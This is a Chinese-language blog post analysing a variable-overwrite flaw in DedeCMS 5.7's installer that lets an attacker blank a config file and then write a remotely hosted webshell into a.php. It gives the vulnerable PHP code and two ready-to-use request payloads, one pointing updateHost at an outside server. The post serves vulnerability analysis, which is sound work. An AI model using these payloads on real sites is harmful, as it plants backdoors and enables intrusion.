DedeCMS5.7远程文件包含漏洞分析
看一段php代码
<?php
foreach(Array('_GET','_POST','_COOKIE') as $_request){
foreach($$_request as $_k => $_v) ${$_k}= $_v;
}
echo 'a:'.$a;
echo 'b:'.$b;
这段代码可以实现创建变量并赋值的操作,而且参数都是可控的。
如果之前已经有了相应参数,那就会执行变量覆盖操作。
如果业务还有以下代码
else if($step==11){
require_once('../data/admin/config_update.php');
$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
$sql_content = file_get_contents($rmurl);
$fp = fopen($install_demo_name, 'w');
if(fwrite($fp,$sql_content))
echo' <font color="green">[/]</font>存在(您可以选择安装进行体验)';
else
echo' <font color="red">[×]</font>远程获取失败';
unset($sql_content);
fclose($fp);
exit();
}
假设$step可控 $rmurl可控 $install_demo_name可控,是不是就可以实现了任意文件写入的操作了!
要想实现 $rmurl的可控 就得让$updateHost和{$s_lang}可控 。
$updateHost与$s_lang可以用之前的漏洞覆盖这个变量,变为我们的远程服务器地址,远程服务器构造dedecms目录 存一个名为demodata.a.txt的一句话木马文件。
$install_demo_name直接用变量覆盖的方式修改为a.php,如此就可以将木马文件写进a.php了 。
一切看的没什么问题但是:$updateHost 在config_update.php中定义,出现漏洞代码之后,无法使用变量覆盖 这里怎么办!
思路 :利用 $install_demo_name可控的方式将config_update.php 写入空 让其中的$updateHost失去定义, 写入空执行找不到对应的文件为空, $sql_content 自然就为空。
之后用以上思路,是不是就可以利用了。
给出的poc如下
?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
?step=11&insLockfile=a&s_lang=a&install_demo_name=a.php&updateHost=http://1.1.1.1:80/
分析一下第一个payload,由于file_get_contents($rmurl); $rmurl = $updateHost."dedecms/demodata.a.txt"; 这个文件不存在所以file_get_contents是空的,之后用fwrite($fp,$sql_content)将空值写入../data/admin/config_update.php 文件。
访问第二个payload,由于../data/admin/config_update.php为空 $updateHost失去了定义,可以被变量覆盖到, $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";$rmurl=我们创建好的http端,且有dedecms/demodata.a.txt这个文件,那么file_get_contents就不是空,而是木马的内容,写入到了同级目录下的a.php文件中。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)